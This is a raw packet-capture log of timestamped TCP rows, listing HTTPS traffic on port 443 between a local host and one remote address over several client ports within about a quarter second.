Nov 28, 2024 02:27:23.502003908 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.502023935 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.503293037 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.503309011 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.503350019 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.503359079 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.503398895 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.503411055 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.509363890 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.509391069 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.509449005 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.509480953 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.509495974 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.509525061 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.509696007 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.509716988 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.509768009 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.509773970 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.509800911 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.509821892 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.516174078 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.516196012 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.516257048 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.516269922 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.516314983 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.520263910 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.520265102 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.520272017 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.520281076 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.520363092 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.520371914 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.520401001 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.520410061 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.520418882 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.520447016 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.528425932 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.528445005 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.528501987 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.528515100 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.528563976 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.529268980 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.529293060 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.529336929 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.529345989 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.529373884 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.529398918 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.530105114 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.530122042 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.530184031 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.530191898 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.530219078 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.530240059 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.534188986 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.534205914 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.534264088 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.534271002 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.534329891 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.539061069 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.539129019 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.539134979 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.539196014 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.541563988 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.541579962 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.541657925 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.541668892 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.541706085 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.543162107 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.543186903 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.543239117 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.543246984 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.543307066 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.544070959 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.544163942 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.544172049 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.544229031 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.548095942 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.548113108 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.548168898 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.548181057 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.548233032 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.550558090 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.550623894 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.550633907 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.550740004 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.553837061 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.553853035 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.553910017 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.553922892 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.553962946 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.555566072 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.555630922 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.555638075 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.555691957 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.559544086 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.559573889 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.559600115 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.559607983 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.559614897 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.559672117 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.559679031 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.559693098 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.559735060 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.563654900 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.563720942 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.563728094 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.563832045 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.564498901 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.564515114 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.564584017 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.564593077 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.564620972 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.564639091 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.567728996 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.567820072 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.567831039 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.567869902 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.570954084 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.571018934 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.571024895 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.571495056 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.573373079 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.573393106 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.573450089 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.573458910 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.573487997 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.573519945 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.573849916 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.573934078 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.573940039 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.574130058 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.577640057 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.577703953 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.577711105 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.577747107 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.581856012 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.581916094 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.581922054 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.581984043 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.584717989 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.584736109 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.584825993 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.584836960 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.584875107 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.585536003 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.585608006 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.585613966 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.585665941 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.590570927 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.590648890 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.590655088 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.590689898 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.594599009 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.594675064 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.594681025 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.596059084 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.599634886 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.599701881 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.599709034 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.599854946 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.603504896 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.603570938 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.603578091 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.603637934 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.648118019 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.648139000 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.648197889 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.648210049 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.648240089 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.648266077 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.654086113 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.654114008 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.654186010 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.654196024 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.654237986 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.655529022 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.655569077 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.655605078 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.655612946 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.655663013 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.661811113 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.661854029 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.661901951 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.661910057 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.661942959 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.661967039 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.666187048 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.666205883 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.666266918 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.666279078 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.666363001 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.667182922 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.667203903 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.667267084 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.667287111 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.667516947 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.669888973 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.669909954 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.669972897 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.669982910 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.670037031 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.676018953 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.676037073 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.676095963 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.676104069 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.676170111 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.677237034 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.677264929 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.677309036 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.677318096 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.677351952 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.677390099 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.679173946 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.679188967 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.679239988 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.679250002 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.679302931 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.684828043 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.684847116 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.684911966 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.684925079 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.684995890 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.687042952 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.687064886 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.687115908 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.687124014 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.687180996 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.692282915 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.692293882 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.692297935 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.692313910 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.692358017 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.692365885 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.692390919 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.692398071 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.692421913 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.692430019 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.692447901 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.698482990 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.698489904 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.698551893 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.698563099 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.698596954 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.699171066 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.699198961 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.699250937 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.699259996 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.699347019 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.704693079 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.704710007 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.704761982 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.704786062 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.704818964 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.704902887 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.705663919 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.705693007 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.705727100 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.705739975 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.705754042 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.705780983 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.707480907 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.707500935 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.707526922 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.707550049 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.707566023 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.707588911 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.712461948 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.712470055 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.712479115 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.712485075 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.712584972 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.712594986 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.712604046 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.712609053 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.712641954 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.712641954 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.712663889 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.715733051 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.715749979 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.715820074 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.715828896 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.715886116 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.720225096 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.720247030 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.720280886 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.720288992 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.720331907 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.720350027 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.722863913 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.722886086 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.722919941 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.722928047 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.722959995 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.722976923 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.723442078 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.723464012 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.723494053 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.723500967 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.723550081 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.723551035 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.727704048 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.727783918 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.727798939 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.727936029 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.729645967 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.729667902 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.729718924 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.729728937 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.729749918 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.729767084 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.732583046 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.732686043 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.732693911 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.732870102 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.733761072 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.733778000 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.733844995 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.733851910 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.733911991 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.735577106 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.735656023 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.735662937 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.735712051 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.738428116 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.738445044 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.738529921 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.738538027 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.738569975 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.738585949 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.739275932 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.739352942 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.739360094 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.739592075 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.742198944 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.742276907 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.742284060 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.742319107 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.743777990 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.743799925 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.743849993 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.743859053 CET	443	49749	150.171.27.10	192.168.2.6
